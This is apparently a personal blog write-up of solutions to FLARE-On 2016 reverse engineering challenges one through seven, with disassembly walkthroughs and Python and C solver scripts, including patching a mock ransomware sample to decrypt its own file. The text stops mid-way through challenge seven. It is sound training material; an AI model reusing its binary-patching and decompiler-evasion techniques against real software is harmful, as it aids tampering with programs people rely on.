FLARE-On 2016

For the first time in my life, I joined a CTF competition.

FLARE-On is a reverse engineering contest, developed by FireEye Lab’s Advanced Reverse Engineering team. Honestly, I didn’t know about its existence up until Mid/2016, which was when I met some of FLARE’s members (@williballenthin and @m_r_tz) – and i’m very glad I did. I learned a lot while doing these challenges, and for that, I can’t thank enough.

I’m very happy I ended up being one of the 124 winners, and will definitely participate next year. Check more stats about the CTF in this year’s conclusion post.

Alright, without further ado, here are my solutions:


Table of content

Challenge 1
Challenge 2
Challenge 3
Challenge 4
Challenge 5
Challenge 6
Challenge 7
Challenge 8
Challenge 9
Challenge 10


Challenge 1 – challenge1.exe – Back to list

The first challenge was a *.exe, written in C++.

screenshot_1

Upon execution, a password was requested.

screenshot_2

Opening up in IDA Pro, this is the main routine (with a bunch of annotations):

screenshot_3

OK, not so hard to understand, right? Just a little glance at the graph shows us that there’s some kind of check going on. Green box, success output. Red box, failure output.

Before #1, we can see challenge1.exe is storing STDOUT and STDIN handles in some variables, and calling WriteFile() and ReadFile() to interact with the user. At #1, it calls WriteFile() passing “Enter password:\r\n” (and other stuff needed for WriteFile), and later calls ReadFile() passing [ebp+Buffer] pointer as the store location for the user input, limiting the number of bytes to be read in 0x80. Therefore, the only thing we know so far about the password, is that its maximum length is 0x80 bytes.

At #3, we clearly see that [ebp+Buffer] is passed as a parameter of ConvertToB64?. When I first loaded the binary, this function obviously wasn’t named ConvertToB64? – it was sub_291260(). Here’s its graph:

screenshot_4

Definitely not the most complicated function ever. But, I wanted to save time. So I started a debug session, and went through this function to understand what was going on. Here’s what it returned.

screenshot_5

Which made me think: “Base64! This will be easy. That big string in the beggining of the function is probably the password. I’ll just decoded it, and that’s it.”. Not quite.

screenshot_6

WTH? What about “password”?

screenshot_7

Nope.

Have you ever had the curiosity of understanding how Base64 works? Basically, it breaks the bit pattern of a byte (8 bits) into smaller pieces (6 bits), the resulting numbers become indexes in a dictionary. The maximum number 6-bit holds is decimal 64 (hence the name!), therefore, the maximum length of this lookup dictionary is 64. Here’s an example of this process (taken from Base64’s wikipedia article):

screenshot_8

Normally this lookup dictionary looks like this:

screenshot_9

So, what happens if someone messes around with this index table? Swap some characters? You guessed it, we wouldn’t be able to decode it. And that’s exactly what happens in this challenge. It’s using a different table!

Taking a look into that ConvertToB64? function again, let’s search for references to what dictionary it’s using.

screenshot_10

A lot of references to a global buffer. Dumping that address, we see this:

screenshot_11

Nice! We found the custom index table! The only thing we need to do now, is perform a Base64 decode, but using this dictionary as our lookup table, and not the default one.

The easiest way I found to replace the default dictionary was in JavaScript. I found this snippet, modified its dictionary, and voilá:
screenshot_13

screenshot_14

Done!


Challenge 2 – DudeLocker.exe – Back to list

Challenge 2 had two files:

  • DudeLocker.exe
  • BusinessPapers.doc

My first thought was: “ransomware”. So, before anything else, I loaded it up in IDA. This is what the main routine looks like:

screenshot_15

I’ll try to cover each block. First two ones look like this:

screenshot_1

First thing DudeLocker.exe is doing here, is building up a string. Its not really clear just by looking at the instructions, but when you inspect those global DWORDs (such as dword_403028), you can see that they’re parts of a Unicode string. Eventually, [ebp+string_Briefcase] will hold the string “Briefcase”.

Later, we see a call to SHGetFolderPath. We can identify what directory it’s trying to get by the CSIDL param. That constant 0x10 is also known as CSIDL_DESKTOPDIRECTORY. Ultimately, this first block of code stores “Briefcase” in a variable, and your Desktop directory path in another variable. TEST EAX, EAX checks if the call to SHGetFolderPath was successful.

The second block calls lstrlenw to determine the length of the Desktop path, and checks if its smaller then 0xf8 (248). Assuming everything went OK, we move on to the next block.

screenshot_2

Basically, _concatString will concatenate the desktop path with the string “Briefcase”, and store it in [ebp+FileName].

Later, [ebp+FileName] (which is essentially %UserProfile%DesktopBriefcase) is passed as a parameter to CreateFileW. This can be deceiving at first, but the idea here is to check if there’s a directory in your Desktop called Briefcase. If there’s not, this triggering message gets printed:

screenshot_3

Whaaaaaaat?!

screenshot_4

Haha, alright. Moving on. If the directory exists, the next blocks just closes the opened handle.

So far, so good. Things are about to get very interesting! There’s a call to a function called GetVolumeSerialNumber (named by me, remember!), then DudeLocker checks if this call didn’t return 0, and moves on. If it returned 0, this message get’s printed.

screenshot_5

OK. Let’s take a closer look into GetVolumeSerialNumber.

screenshot_6

Very simple stuff here. GetVolumeInformationA returns (when called with those params) a DWORD which identifies the volume C’s serial number. It gets compared to 0x7DAB1D35. That’s probably not the serial number of you’re C volume, or mine. If it’s not, it returns 0, and that “I’m out of my element” message get’s printed.

At first, during a debugging session, the first thing that came to my mind was to just flip the ZF after the CMP [ebp+VolumeSerialNumber], 0, and proceed with the debugging. But it’s very important that EAX holds 0x7DAB1D35 in order to find the key to this challenge, and you’ll see why soon.

Let’s continue.

screenshot_7

After the serial number check, DudeLocker allocates a 0x25 bytes long buffer, and passes this buffer, the buffers length, the serial number and a global buffer (named by me as ProbablyTheKey?) to a function called sub_401940. I won’t go into much detail, but it basically decodes this global buffer using that DWORD 0x7DAB1D35. This is the result:

screenshot_8

As you can imagine, this buffer would be rubbish if the Volume Serial Number was something other than 0x7DAB1D35.

Moving on, there’s this call to InitCryptography (named by me, remember). Just to save some time here, DudeLocker is going to use Microsoft’s Crypto API to encrypt the files here. But before it can do so, there’s a number of steps it needs to take (within the Crypto API itself). Honestly, I have never used the Crypto API before this challenge, so I recommend you to take a look at this example code, as i’m not going to pretend I know everything about it.

Basically (very), DudeLocker is hashing (SHA-1) those bytes, and deriving a key from it, based on RSA_AES context. Which is good, because AES is a symmetric algorithm, therefore the secret is the same to encrypt and decrypt.

EnumerateFilesAndEncrypt does exactly what the function says. The thing is that it’s going to recursively enumerate the files within that “Briefcase” directory, in the desktop, not your whole computer.

It must be clear so far that, in order to solve the challenge, we have to decrypt BusinessPapers.doc – that file that came with DudeLocker.exe. So i thought in a couple of approaches. The first one, was to mimic the steps within the Crypto API that DudeLocker does, but instead of calling CryptEncrypt, call CryptDecrypt. Seemed obvious to me, but after trying really hard, I could only decrypt parts of BusinessPapers.doc. I was doing something wrong, but I couldn’t find where. Then I thought: “heck, i’ll patch it”. So I made a couple of patches in DudeLocker.exe:

  1. Make GetVolumeSerialNumber always return 0x7DAB1D35;
  2. Change CryptEncrypt to CryptDecrypt.

CryptEncrypt and CryptDecrypt have very similar signatures, so I thought it probably wouldn’t crash so hard:

screenshot_9_

Following what i’ve learned so far, I created a “Briefcase” folder in my Desktop, placed BusinessPapers.doc in it, and ran my patched DudeLocker.exe. And voilá! It actually worked! But BusinessPapers.doc wasn’t really a doc file, it was an image.

businesspapers-doc

Done!


Challenge 3 – unknown – Back to list

This one was quite hard.

Since there’s no extension, the first thing I did was to scan it.

screenshot_11

An *.exe. Let’s rename it, and open it up in IDA.

screenshot_22

Definitely not the simplest code ever, so let’s focus on the important parts, highlighted by the arrows.

At arrow #1, you can see three boxes. The upper left box prints to screen the message “yOU MAKE GOOD Arguhments!”, and the upper right prints “No rite arguhments!”. The last, returns, and eventually terminates the program.

At arrow #2, we have this:

screenshot_1

We can see a comparison if argc == 2, which tells us that we need to provide a command line argument. After the argc check, we have a a call to __LDint which internally calls the wide-string version of strrchr, passing the letter ‘r’ and argv[0] as arguments. The result gets saved to [ebp+index_of_r_in_argv_0], which a very self-explainatory variable name, and tells what’s going on. strrchr searches for the last occurence of a byte in a array. The array is argv[0], which is the full path of the currently executing program (in my case, “D:flare-on3unknown.exe”), and the byte to search is ‘r’.

Later, we can see that there’s a comparison if the result of strrchr is 0. If it is, the unknown prints “No rite arguhments!” and exits.

Let’s continue to arrow #3.

screenshot_9

There’s an important function here, checksum_string. We’re going to take a look into it soon, let’s first see what parameters it receives. Our index of ‘r‘ in argv[0] is being summed with 2. Since this is a Unicode string, we’re walking one character up. So, instead of pointing here:

      v
D:flare-on3unknown.exe

We’re now pointing here:

       v
D:flare-on3unknown.exe

And then, this pointer (index) is passed to checksum_string. Some lines below, we see another call to checksum_string, but now its passing a pointer to argv[1], that is, our command line parameter (which is probably the key to this challenge).

Alright, let’s take a closer look to checksum_string.

screenshot_1

Basically, this is what’s going on in that function.

import numpy

def checksum(text):
    result = 0

    for char in text:
        imul = numpy.multiply(result, 0x24)
        add = numpy.add(result, imul)
        result = numpy.add(add, ord(char))

    return numpy.uint32(result)

It’s making a checksum of the string. The result is a DWORD. Go back to the arrow #3 graph again. You can see that we’re taking a checksum of argv[0] (actually, from the last occurence of ‘r’ and forward), argv[1], and storing these checksums in variables.

After that, unknown.exe is building a string using global DWORDs. Each one of those DWORDs is a couple of Unicode characters.

screenshot_2

When appended together, what ends up being in [ebp+flare_on_str] is the string ‘__FLARE On!’.

Let’s continue to arrow #4.

screenshot_3

As the comments in the graph says, the first block opens unknown.exe itself. The handler is saved into [ebp+self_file_handle]. If it’s a valid handle (i.e., the file opened correctly), 0x40000 bytes are read into a buffer (previously allocated).

Let’s go to arrow #5.

screenshot_4__

I’ll sum it up. unknown.exe is searching for the string “RSDS” within the file itself. When it finds the correct occurence, it copies a hard-coded DWORD that exists right after “RSDS”. We can see this DWORD by opening up unknown in a hex editor and searching for ‘RSDS’.

screenshot_7

So, considering endianess, the resulting DWORD that gets stored into [ebp+dword_after_RSDS] is 0xb61e2dd0. But not only this DWORD, the other ones are stored in the stack aswell, right after the address of [ebp+dword_after_RSDS].

So, let’s do a recap before we go into the chaotic arrow #5.

  • We know that unknown interacts with argv[0] and argv[1]. There’s a checksum of both that’ll probably be used.
  • We know that there are some hard-coded DWORDs after ‘RSDS’ within unknown’s file.

K?

Alright. Let’s move on to arrow #6.

screenshot_8

Yeah… yeah. Complete x86 chaos. I’m definitely not gonna go into the details of what’s going here, obviously, but there are important things to mention. First detail, only argv[0]‘s checksum and the hard-coded checksums (RSDS) are going through the crypto functions. And then, we have a reference to weird_hardcoded_buffer, and a call to sub_401230. Every single byte of this buffer changes after this call. If the argv[0] checksum is different, the bytes changes to something different. What i’m trying to say here, is that argv[0]‘s checksum is a key to decrypt this buffer.

Let’s check out arrow #7.

screenshot_10

First of all, this a loop. Unfortunately, I couldn’t fit all the arrows in the picture. This loop ends when the counter hits 0x1b (27). Now focus on the right hand block, the biggest one. I won’t go line be line explaining everything, just the important parts. Before the call to checksum_string, there’s a string operation going on. Better than explaining it with words, let’s write some code:

def argv_1_check(param):
    flare = list('__FLARE On!')

    for v in range(0x1b + 1):
        flare[0] = param[v]
        flare[1] = chr(ord(flare[1]) + 1)
        sum = checksum(''.join(flare))

        # buffer == weird_hardcoded_buffer
        if int(sum, 16) != buffer[v]:
            return False

    return True

argv_1_check('012345678901234567890123456')

This means that, if weird_hardcoded_buffer, which changes according to the value of argv[0]’s checksum, is not in the correct state, these checks (in that python code) are going to fail.

The other thing we can understand here is that weird_hardcoded_buffer is a collection of 0x1b – 1 checksums (that is, 0x1b – 1 DWORDs, so a 104 bytes long buffer). If we decrypt weird_hardcoded_buffer it correctly, we’ll be able to rebuild argv[1] and complete this challenge.

So the question now is, what’s the correct argv[0]? We already know the answer, and you probably already saw it. If not, right now you’re feeling like me when I was doing this challenge. I had many ideas of what it could be, but I missed the most visible hint in the world while I was reverse engineering this.

The first time you open unknown.exe in IDA, you’re greeted with this message:

screenshot_2

A *.pdb (Program Database) is created by Microsoft’s linker when a program is compiled with the /DEBUG option set. What’s happening there in IDA, is that when it was parsing unknown.exe, it found linked debug information. Do you know how Microsoft’s linker writes such information in the PE? It adds a DEBUG_DIRECTORY in .rdata, and within its directory, it adds some entries. One of which is DEBUG_TYPE_CODEVIEW. Do you know the header of that entry? “RSDS”.

asddddddddd

Not surprised? Well, I was. I knew about *.pdb’s, but not about RSDS. You can read more about it here.

OK, to go on, let’s rename the file, dump the correct weird_hardcoded_buffer, and write our final lines of code for this challenge.


# decrypted weird_hardcoded_buffer
final_buffer = b'x2Fx3Ex61xEEx45xEBx79xDEx3Dx2F' +
'x1BxAFxD7xBBx47x87x9CxC4x9Ax73xAExF5xA4xC9' +
'xC1xC5x32x46x24x9Bx02xA0x59x50x16xD6x51x94' +
'xB7xA6xBAx23x9DxE7xCEx92xAEx8Ax18x1Ax99x85' +
'x99x58xE0xFEx94x79x0Cx43x6FxF3xB9x1Ax81x24' +
'xC4x70xCFx27xBDx05x6Fx6ExFFxC4x7Cx84x77x5A' +
'xB3x77x92xDDxFFx3Cx84x25x44xA9xDCx5Fx96x28' +
'xE4x8ExC7x61xE9x2AxDAx31x77xA7'

magic_string = '__FLARE On!'

def checksum(text):
    result = 0

    for char in text:
        imul = numpy.multiply(result, 0x24)
        add = numpy.add(result, imul)
        result = numpy.add(add, ord(char))

    return numpy.uint32(result)

def generate_checksums(magic, charset):
    result = {}
    magic = list(magic)

    for index in range(1, 28):
        magic[1] = chr(ord(magic[1]) + 1)

        for char in charset:
            magic[0] = char

            special = ''.join(magic)
            result[hex(checksum(special))] = special

    return result

def build_password(struct, buffer):
    password = ''

    counter = 0

    while counter < len(buffer):
        uint = numpy.fromstring(buffer[counter : counter + 4],
            numpy.uint32)

        uint = uint.astype(numpy.uint32)
        uint = hex(uint)

        password += struct[uint][0]

        counter += 4

    return password

charset = [chr(char) for char in range(32, 127)]

possible_checksums = generate_checksums(magic_string, charset)
hello_pwd = build_password(possible_checksums, final_buffer)

print(hello_pwd)

My idea here was to build all possible char combinations of '__FLARE On!', and make a dictionary, in which the key was the checksum and the value was the associated char. Then, inspect every checksum of the decrypted weird_hardcoded_buffer, and look them up into that dictionary, appending all resulting char together. This was the result:

screenshot_5

Done!


Challenge 4 – flareon2016challenge.dll – Back to list

This was one of my favorites.

Since it was a DLL, first thing I did was check the exported functions.

screenshot_1

I was surprised by 51 exported functions (not counting DllEntryPoint). They all seemed to do the same thing, except the last three ones, _49, _50 and _51. It took me a while to understand what was the point of the challenge, and how would I find the key.

After inspecting every function, the only one that called another exported function, was function _50.

screenshot_2.

It’s kinda easy to see what’s going on with all the annotations I did, but I spent some time on this. Function _50 takes two parameters, which are the same parameters needed to call Beep, which is part of Windows’ API. As you may be aware, when this function gets called, your computer emits a sound, determined by the frequency and duration you set.

This function, in particular, after calling Beep, perform some bitwise operations using the dwFrequency and dwDuration you’ve just passed, with the byte currently stored in a global buffer (which I called beep_sequence). The resulting byte replaces the current byte in the beep_sequence buffer, and this goes on up until 0x12 beeps.

Now that’s a pretty neat way to decoded a buffer. The question is: “What is the beep sequence?”, and also: “Why the hell do I need it?”.

After hitting 0x12 beeps, function _49 gets called, so let’s take a look at it.

screenshot_3

Oh my, look at those annotations. To be fair, it’s pretty hard to make sense of cryptographic functions when you can’t recognize any patterns in it, so bear with me here. What’s definitely important is that the beep_sequence buffer is going into these horribly complex functions, and also encoded_key, another global buffer.

Functions fill_x90_sized_buffer and deal_with_something_encoded are related to CAST128, yet another symmetric cryptographic algorithm.

Later, we see a call to printf, with a format string, and the encoded_key buffer. I assumed that this was the moment when the key would pop out, so I had a target: “find the beep sequence, discover the key”. The only way I thought of to find the beep sequence, was to take a really good look into the other functions.

This led me to function _51.

screenshot_5

I’m laughing seeing my notes.

OK, interesting stuff here. This looked pretty much the same thing as function _49, except the buffers being passed to the CAST128 functions are different. Instead of our beep_sequence in function _50, we now have diabolical_buffer (haha), and instead of encoded_key, we have another_gigantic_buffer. Yet again, we can assume that diabolical_buffer is the key to decrypt another_gigantic_buffer.

So I went out, built a simple C program which loaded the DLL and called function _51. And… nope! another_gigantic_buffer changed, which confirmed that some decryption was taking place, but was still rubbish. Which led to the same question as before, “what the hell is the correct key?!”.

What was the conclusion here? diabolical_buffer is the key, but it’s current state not the correct one. How does flareon2016challenge.dll changes this global buffer, in order to successfully decrypt another_gigantic_buffer? To get an answer to that, let’s xref diabolical_buffer.

screenshot_6

It’s being referenced in all of the other exported functions, from _1 to _48. But then, another problem popped up. Take a look at function _1, for instance:

screenshot_7

This function _1 could be ported to python like this:

def function_1():
    global another_counter
    global diabolical_buffer

    current_pos = another_counter % 0x10
    current_byte = diabolical_buffer[current_pos]

    diabolical_buffer[current_pos] = current_byte - 0xb1

    another_counter -= 1

    return 0xfd ^ 0xce

Now imagine that every one of those functions (1->48) all do basically the same thing, but perform different bitwise operations, store different bytes in diabolical_buffer, and return a different value.

Another important piece of information is that another_counter is being decremented. Guess what number it holds…? 0x2f (i.e., 48)! Do you remember the layout of exported functions in this challenge’s dll? 48 functions, followed by three other ones that perform some cryptographic nastiness. Considering that every time we call some of these (1->48) functions, another_counter gets decremented… I think we’ve got something here, right?

We found one answer. By calling these functions we will build the correct key to decrypt another_gigantic_buffer, in function _51. But since they all rely on the same counter (another_counter) to index diabolical_buffer, if we call them (1->48) in different orders, the resulting diabolical_buffer will change.

So we have another question in our hands… what’s the correct call order?

I must admit that my first thought was: “attempt all possible call orders through permutation!”. But that would be 48 factorial (48!), and would take a ridiculous amount of time. Then I remembered: “the return value!”. That freaking return value is hard-coded! Maybe it’s the call order? But how would I do this? What was the first function to be called?

Then, I wrote this:

void printAllReturnValues() {
    HMODULE lib = LoadLibraryA("flareon2016challenge.dll");
    int returnValues[48];

    for (int I = 1; I <= 48; i++) {
        FARPROC currentFn = GetProcAddress(lib,
            MAKEINTRESOURCEA(i));

        returnValues[i - 1] = currentFn();
    }

    qsort(returnValues, 48, sizeof(int), cmp);

    for (int I = 0; <= 47; i++) {
        printf("%d, ", returnValues[i]);
    }
}

And this is what I got:
screenshot_9

The missing value indicated me that function _30 should be the first one the be called. Then I should follow it’s return value by calling the corresponding function.

Did you see that function _51 is also present in the return values? This means that in the end of the expected call chain, function _51 should be called, and then another_gigantic_buffer will be successfully decrypted (or at least I hoped so).

Alright, time to write some more code:

void performCallChain() {
    HMODULE lib = LoadLibraryA("flareon2016challenge.dll");

    int currentCall = 30;

    for (int I = 0; I <= 48; i++) {
        FARPROC currentFn = GetProcAddress(lib,
            MAKEINTRESOURCEA(currentCall));

        currentCall = currentFn();

        if (currentCall == 51) {
            MessageBoxA(0, "Key must be ready!", "!", 0);

            currentFn = GetProcAddress(lib,
                MAKEINTRESOURCEA(51));
            currentFn();
        }
    }
}

Loaded my own code into IDA, and put a break point right before the call to Func_51(). This is how IDA disassembled the function:

screenshot_10

Nice!! After the correct call order, the diabolical_buffer becomes “usetheforceluke!”. Remember another_gigantic_buffer? This is what happens after decryption:

asdasdasd

Oh boy, another *.exe? Dumping another_gigantic_buffer to disk, and we get a working PE file. Opening it up in IDA, we see this:

screenshot_11

😀 looks like our much needed beep_sequence!

Let’s just copy those hard-coded Beep params, and write some more code:

void callBeep(FARPROC f50, int dwDuration, int dwFrequency) {
    __asm {
        push dwDuration
        push dwFrequency
    }

    f50();

    __asm {
        add esp, 0x8
    }
}

void performBeeps() {
    HMODULE lib = LoadLibraryA("flareon2016challenge.dll");
    FARPROC func_50 = GetProcAddress(lib,
        MAKEINTRESOURCEA(50));

    callBeep(func_50, 0x1f4, 0x1b8);
    callBeep(func_50, 0x1f4, 0x1b8);
    callBeep(func_50, 0x1f4, 0x1b8);
    callBeep(func_50, 0x15e, 0x15d);
    callBeep(func_50, 0x96, 0x20b);
    callBeep(func_50, 0x1f4, 0x1b8);
    callBeep(func_50, 0x15e, 0x15d);
    callBeep(func_50, 0x96, 0x20b);
    callBeep(func_50, 0x3e8, 0x1b8);
    callBeep(func_50, 0x1f4, 0x293);
    callBeep(func_50, 0x1f4, 0x293);
    callBeep(func_50, 0x1f4, 0x293);
    callBeep(func_50, 0x15e, 0x2ba);
    callBeep(func_50, 0x96, 0x20b);
    callBeep(func_50, 0x1f4, 0x19f);
    callBeep(func_50, 0x15e, 0x15d);
    callBeep(func_50, 0x96, 0x20b);
    callBeep(func_50, 0x3e8, 0x1b8);
}

After seeing that “usetheforceluke!” key, any guesses about what “song” the correct beep_sequence makes?

The Imperial March, obviously!

screenshot_12

What an amazing challenge! 😀


Challenge 5 – smokestack.exe – Back to list

My, oh my. This was hell on earth. With all honesty, it was the hardest challenge of FLARE-On 2016 for me. I’ll fast forward until the nasty stuff. Here’s its main routine:

screenshot_13

First block makes an argc check. If argc <= 1 the program exits. Since argc will always be at least 1 (argv[0] == filename), smokestack.exe expects at least one command line argument. Second block grabs argv[1] and passes it to strlen. The return value gets compared to 0xA. If its less than that, smokestack exits.

So far we know that smokestack.exe expects at least one argument, and this argument should be at least 0xA bytes long.

The loop basically takes every character of argv[1] and copies it to a global buffer (which in the upcoming graphs is named arg_1_copy) of WORDs (16-bit values), up until a counter hits 0xA. At the end of the loop, we clearly see that this global buffer ends up looking like a Unicode representation of argv[1].

Alright, let’s dive into the madness that follows.

screenshot_1

You can tell by my notes that I didn’t know jack about what was going on. I had some idea of what was happening, but not quite.

OK, let me try to walk you through my thought process here.

This block gets executed right after the loop I mentioned earlier. Let’s take a look at that first function, sub_401610.

screenshot_2__

At the beggining of the code, it builds up a table of function pointers. Each of these functions did something different (simple operations, though), and interacted with that global buffer arg_1_copy. I will not describe what each of these functions do because life is too short.

It’s hard to see in the picture, but inside the loop there’s a comparison. The false branch calls select_and_call_function. This is what this function does:

screenshot_4

It picks what function to call based on the WORD picked from another_cipher, and this WORD gets picked based on func_counter, which gets modified in some of the functions present in that function table I mentioned.

?!

I mean, God, even I can’t understand what i’m saying.

Anyway, what I took from all of this was that this function returned some important value. Take a look at that main block again. After calling sub_401610, smokestack allocates a 0xA bytes long buffer, and copies argv[1] to it. The result of this function gets appended to the end of this newly created buffer, and then it gets passed to the generate_128bit_key function, along with a 0xC bytes long destination buffer (0xA + 0x2, argv[1] length + WORD which is the result of sub_401610).

Here’s what this function does:

screenshot_5

Yeah, you’re seeing that right. It takes this argv[1] + appended result buffer, and hashes it 0x100000 times. The resulting MD5 is the key to the final decryption.

Go back and check that main block again. After calling generate_128bit_key, it decrypts an encrypted buffer (which is 0x100 bytes long), and prints it – which should probably be the key.

I questioned the importance of sub_401610 because it only appended two bytes after argv[1]. I tried to look for hints all over smokestack’s binary, tried to find some sort of weakness on the decryption routine… even tried to see if generating a hash of a hash a gazillion times over and over again had some sort of weakness attached to it. But no. None of them worked. I think I was trying to avoid figuring out sub_401610, :(.

Well, when I understood that there was no way to avoid it, I started thinking about the best, most manageable way, to debug it. Which made me think: “i have to port this to another language”. And I chose python.

If you want to take a look at the full source code, go to my github (not proud of that code). Here, i’m just gonna demonstrate how I used that code to get the key.

The first thing I thought after writing that was: “does sub_401610 always return a 0x133 word?”. Because everytime I used a different password, sub_401610 always returned the same value. For example:

# arg_1_copy global buff
key = []

# password
for char in '1234567890':
    key.append(ord(char))
    key.append(0)

key += [0,0,0,0,0,0,0,0,0]

func_counter = 0
global_counter = 9
_some_result = 0
_what = 0

# sub_401610
key_validation()

print(hex(_some_result))

This is the result:
screenshot_6

So my first idea was: “what if I attempt a 0xA long password, with all possible chars?”. And that’s what I did:

charset = [chr(v) for v in range(33, 126)]
diff = []

for char in charset:
    key = []

    for _ in range(10):
        key.append(ord(char))
        key.append(0)

    key += [0,0,0,0,0,0,0,0,0]

    func_counter = 0
    global_counter = 9
    _some_result = 0
    _what = 0

    key_validation()

    if _some_result != 0x133:
        diff.append(char)

print(diff)

And this is what I got:

screenshot_7

:O Hope?

Still, there are two problems right there: 1 – I didn’t know the correct order of those chars and 2 – there’s only 9 chars there. OK, let’s tackle one problem at a time. First, let’s see the right order:

diff = ['', '', '', '', '', '', '', '', '', '']

for char in ['C','L','Y','b','k','o','p','w','x']:
    for pos in range(10):
        attempt = list('_' * 10)
        attempt[pos] = char
        attempt = ''.join(attempt)

        key = []

        for _char in attempt:
            key.append(ord(_char))
            key.append(0)

        key += [0,0,0,0,0,0,0,0,0]

        func_counter = 0
        global_counter = 9
        _some_result = 0
        _what = 0

        key_validation() 

        if _some_result != 0x133:
            diff[pos] = char

print(diff)

Result:
screenshot_8

Great! High hopes about this! But that missing char… Maybe the only way to find it out will be using smokestack.exe itself, attempting that key, and replacing the missing character with all possible chars. And, more importantly, if I end up attempting the right one, I might see the answer right on the screen while doing it, right? Alright… more code then:

import subprocess

for char in [chr(v) for v in range(33, 126)]:
    key = 'kYwxCb' + char + 'oLp'
    cmd = ['smokestack.exe', key]

    p = subprocess.Popen(cmd, stdout=subprocess.PIPE)
    for line in p.stdout:
        try:
            print(line.decode('utf-8'), 'key-used:', key)
        except:
            pass

    p.wait()

Let’s try this out:

screenshot_9

What?!

screenshot_10

WIN!!!

After FLARE-On was over, I ran to this challenge’s solution to see what did I miss. And it seems that the infamous sub_401610 is a virtual machine, and arg_1_copy is a virtual stack. Pretty awesome. I couldn’t think outside the box, but I ended up coming with a solution that the author thought viable:

[…] we have a few options to solve this challenge. One option is to write our own disassembler for the virtual opcodes. After all, there are only 14 opcode types, so that option shouldn’t be too hard. The second option is to brute force the input value and see if the virtual machine leaks any information that helps us find the key.

Alright! Mission accomplished!


Challenge 6 – khaki.exe – Back to list

Running this guy revealed a guesser game.

screenshot_12

But its large size (~4MB) raised an eyebrow. Opening up in IDA, I saw many different references to python, and assumed this was built through some python to executable tool (such as pyinstaller, or py2exe). Basically, these tools bundle the interpreter and the compiled script within the executable, but every tools does it differently. Take a look at its PE’s resource section:

screenshot_1

Off course that, ultimately, whats getting executed is the compiled script. That’s probably where the guesser game was at. Maybe there was something else, but I thought that I should start getting that script out, and analyzing it.

So I installed unpy2exe, and unpacked it.

screenshot_2

Good, now I just had to decompile the *.pyc, which is possible (since it’s byte-code). I grabbed myself a copy of uncompyle, and started out with “boot_common.py.pyc” (which I think it’s part of py2exe).

screenshot_3

Pretty good so far. Now “poc.py.pyc”.

screenshot_4

Not good.

And that’s exactly the catch of this challenge. You won’t easily read the source code, because of some bytecode magic the author of this challenge did.

Two options came to my mind: read the bytecode itself, or try another decompilation tool. I thought I had nothing to lose by trying out another tool first, as it would take some time to learn python’s bytecode (very interesting stuff, though). So I started searching, and found pycdc. Cloned it, compiled it, and tried again.

screenshot_5

Oh noes!

But then, there was that message: “Unsupported opcode: NOP”. I suppose that python bytecode’s NOP should be the same as in x86, No OPeration. So maybe I could edit pycdc’s code to support it?

screenshot_6_

Re-compiled pycdc, and tried again!

screenshot_8

Alright!!

If you want to take a look at the full decompiled script, you can see it here.

There are dozens of “-1” and “None +” within the script, and I think that most decompilers didn’t know how to interpret it when parsing the bytecode, but pycdc did the trick! So clearing the script up, understanding what was going on was, obviously, very simple.

Here’s what I wrote to get the key:

import hashlib

stuffs = [67,139,119,165,232,86,207,61,79,67,45,
    58,230,190,181,74,65,148,71,243,246,67,142,
    60,61,92,58,115,240,226,171]

tmp = '312a232f272e27313162322e372548'

for count in range(0, 26):
    win_msg = 'Wahoo, you guessed it with %d guessesn'
       % count

    stuffer = hashlib.md5(win_msg.encode('ascii') +
        tmp.encode('ascii')).digest()

    result = ''

    try:
        for x in range(len(stuffs)):
            result +=
                chr(stuffs[x] ^ stuffer[x % len(stuffer)])

            print(result + 'n')
    except:
        continue

And here we go:

screenshot_9

Pretty cool challenge!


Challenge 7 – hashes – Back to list

hashes is a 32-bit ELF file. My first attempt on running it, I got an exception, and it happened because I was missing libgo.so.7, so… hashes was written in Go.

screenshot_10

OK, linux, Go… really not my confort zone. But, it’s x86 right? Let’s get to it. Main routine:

screenshot_1

Not simple at all.

Go has many peculiarities in low-level, which I could only grasp while actively debugging it. The stack layout is very weird, functions can have multiple return values, there are channels, and so on.

I’m going to cover here the more important parts of this routine (pointed by the red arrows).

At #1, we can see the success message (painted green) “You have hashed the hashes!”, and the error message (painted red) “Work on your Hash F00!”. So I knew the places I shouldn’t hit.

At #2, we have two important checks.

screenshot_2

The highlighted line is checking if argv[1]‘s length is 0x1e, that is, hashes expect a command line argument that’s exactly 0x1e (30) bytes long, nothing more, nothing less (JZ, not JLE / JGE). If everything is OK, it sends argv[1] to check_arg_chars (named by me). Here’s the important part of check_arg_chars:

screenshot_4

This function iterates through each character in argv[1], and checks (through _string_ContainsAny) if such byte is present in that dictionary (“abcdefghijklmnopqrstuvwxyz@-._1234”). If it is, it goes to the next character until the string is over – and returns 0, otherwise, it returns 1.

So what do we know so far? hashes expects a 30 chars long command line argument, and that argument’s chars are limited to that charset.

OK!

Provided the command line argument is within these parameters, we will hit arrow #3.

screenshot_6

Let’s focus on the right hand side first. Do you see that _go_string_slice call? It’s slicing our argv[1] in pieces of 6 bytes. Every slice goes into loc_804a173, which calls sha1_slice_3_times (named by me) and the result get’s appended (__go_append) in a big buffer. Take a look at sha1_slice_3_times.

screenshot_7

It does what the name suggests. It takes the current 6 byte slice of argv[1] and SHA1’s it three times. A SHA1 digest has 20 bytes. So 20 bytes of SHA1 digest per argv[1] slice appended together. 5 slices of 6 bytes, since argv[1] has 30 bytes. At the end, we’re gonna have a buffer that is 100 bytes long (0x64).

Shall we translate this process to python? It’s going to be useful later, I promise.

import hashlib
def triple_sha1(key):
    result = ''

    for i in range(3):
       if result == '':
       result = hashlib.sha1(bytes(key.encode('ascii')))
    else:
       result = hashlib.sha1(result.digest())

    return result.hexdigest()

def build_key_from_arg(arg):
    max = len(arg) / 6
    count = 0

    hash_array = ''

    while count < max:
        current = arg[count * 6: count * 6 + 6]

        hash_array += triple_sha1(current)
        count += 1

    return hash_array

print(build_key_from_arg("abcdef1234abcdef1234abcdef1234"))

If we run this, we get a hex string representation of the resulting buffer:
screenshot_8

Now go back to that arrow #3 picture, and let’s focus on the left hand side now.

I’ll probably not be able to fully explain it, but in hashes (this challenge), some_channel_handler (named by me) is a function that gets called whenever (not every time, more like after 5 or so bytes are taken) there’s some interaction (when receiving, for instance) with a channel. And that’s what we’re going to see in arrow #4.

This is important, because this function handler is responsible for fetching the right bytes when “channel receive” is called, and hashes (this challenge) implemented a very funny way to do this.

Another important thing is that this resulting buffer of argv[1] we just saw is fed to a channel. K?

Alright, here’s arrow #4.

screenshot_9

